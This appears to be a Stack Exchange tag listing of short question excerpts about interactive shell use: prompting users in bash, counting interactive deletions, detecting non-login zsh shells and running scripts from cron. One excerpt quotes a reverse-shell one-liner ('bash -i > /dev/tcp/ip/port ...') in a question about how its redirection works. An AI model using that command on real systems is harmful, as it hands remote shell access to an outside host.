The tag has no usage guidance.

learn more… | top users | synonyms

0
votes
3answers
43 views

bash - Change line by line Interactively

I am new in bash scripting. I want to create an interactive script which is prompt user to enter data for editing a file line by line. The scenario: - Read a file and iterate over each line, I use ...
0
votes
0answers
33 views

Will reinstalling cluster OS help running the jobs from being in queue?

I have a problem submitting my jobs to a cluster. I can upload and download files to and from cluster that I am working with but the cluster is unable to run the jobs submitted to them. As I check the ...
1
vote
0answers
37 views

UDEV-rule:Open new gnome-terminal window on usb-plugin AND activate it for stdin/stdout/stderr?

My attempt is this: If a certain USB-device is plugged in, I want to open a gnome-terminal window in my desktop-environment. This newly opened window must be able to be interactive, this means, the ...
0
votes
1answer
104 views

Bash interactive mode on redirect

i have two questions about bash. I was looking into reverse shells, and the -i flag. When I do bash -i > /dev/tcp/ip/port 2>&1 0>&1, I get an interactive shell on the server machine, ...
0
votes
1answer
155 views

Count deleted files with interactive rm (rm -i)

I want to count number of interactively removed files and directories: for f in /tmp/mydir/* ; do rm -ir "$f" done How to do it in most concise/elegant way? Example: abc@def:/tmp/mydir$ tree ...
1
vote
0answers
205 views

Recording shell output for interactive commands

While looking into a shell redirection problem, I found a couple of answers that pointed me to the script command. As I understand it, script just records in- and output of the terminal, and allows me ...
1
vote
1answer
89 views

tool in terminal like helm-occur/helm-swoop for terminal?

I don't know whether this is the right place to post this question, but if you are not an Emacs user, I'll explain the basic usage of helm-occur/helm-swoop. I like helm-occur/helm-swoop for Emacs ...
6
votes
2answers
612 views

How to read user input when using script in pipe

General problem I want to write a script that interacts with the user even though it is in the middle of a chain of pipes. Concrete example Concretely, it takes a file or stdin, displays lines ...
2
votes
2answers
498 views

Interactive multiple choice in a bash script

Is there a simple way to let the user interactively choose one of the lines of the output of lsblk -f? NAME FSTYPE LABEL MOUNTPOINT sda ├─sda1 ntfs WINRE_DRV ...
3
votes
4answers
505 views

How can I disable the new history feature in Python 3.4?

Since upgrading to Python 3.4, all interactive commands are logged to ~/.python_history. I don't want Python to create or write to this file. Creating a symlink to /dev/null does not work, Python ...
1
vote
1answer
752 views

How would I detect a non-login shell? (In Zsh)

I want to create a script that runs when a Zsh instance starts, but only if the instance is: Non-login. Interactive I think I'm right to say .zshrc runs for all interactive shell instances, ...
2
votes
2answers
6k views

For loop for renaming files with prompt for each filename

I have to convert multiple video files in a folder. I have to rename each one of them but I need the script to prompt me to write a custom name for each filename. Here is what I've got so far: First ...
4
votes
1answer
701 views

Prompt for confirmation for every command

I'm writing a pretty ad-hoc install script for some thing. No much control constructs, basically just a list of commands. I'd like the user to confirm each command before it gets executed. Is there a ...
1
vote
2answers
1k views

Invoke a command/script disconnected from the controlling terminal?

I'm investigating the behaviour of a script that is normally run as an automated process (e.g. cron, Jenkins). The script can (eventually) invoke commands that behave differently (seeking user input) ...
3
votes
1answer
178 views

On OS X, how do I log in interactively as root starting from my normal user account?

I have been doing this for a while: sudo su - but it uses 'sh' rather than 'bash', which is what I'd like to do. Which command will log me in as root and get me a bash shell even if that's not the ...
3
votes
1answer
267 views

Supress startup messages on stdout?

I'm using tcsh, and have to source a group .cshrc file. This file echoes some messages, which is fine for normal shells, but causes problems with programs like scp and rsync. I can see the solution ...
9
votes
5answers
8k views

Run script in a non interactive shell?

I have a cron job that is running a script. When I run the script via an interactive shell (ssh'ed to bash) it works fine. When the script runs by itself via cron it fails. My guess is that it is ...
8
votes
2answers
1k views

How to do a text replacement in a big folder hierarchy?

I want to search and replace some text in a large set of files excluding some instances. For each line, I want a prompt asking me if I need to replace that line or not. Something similar to vim's ...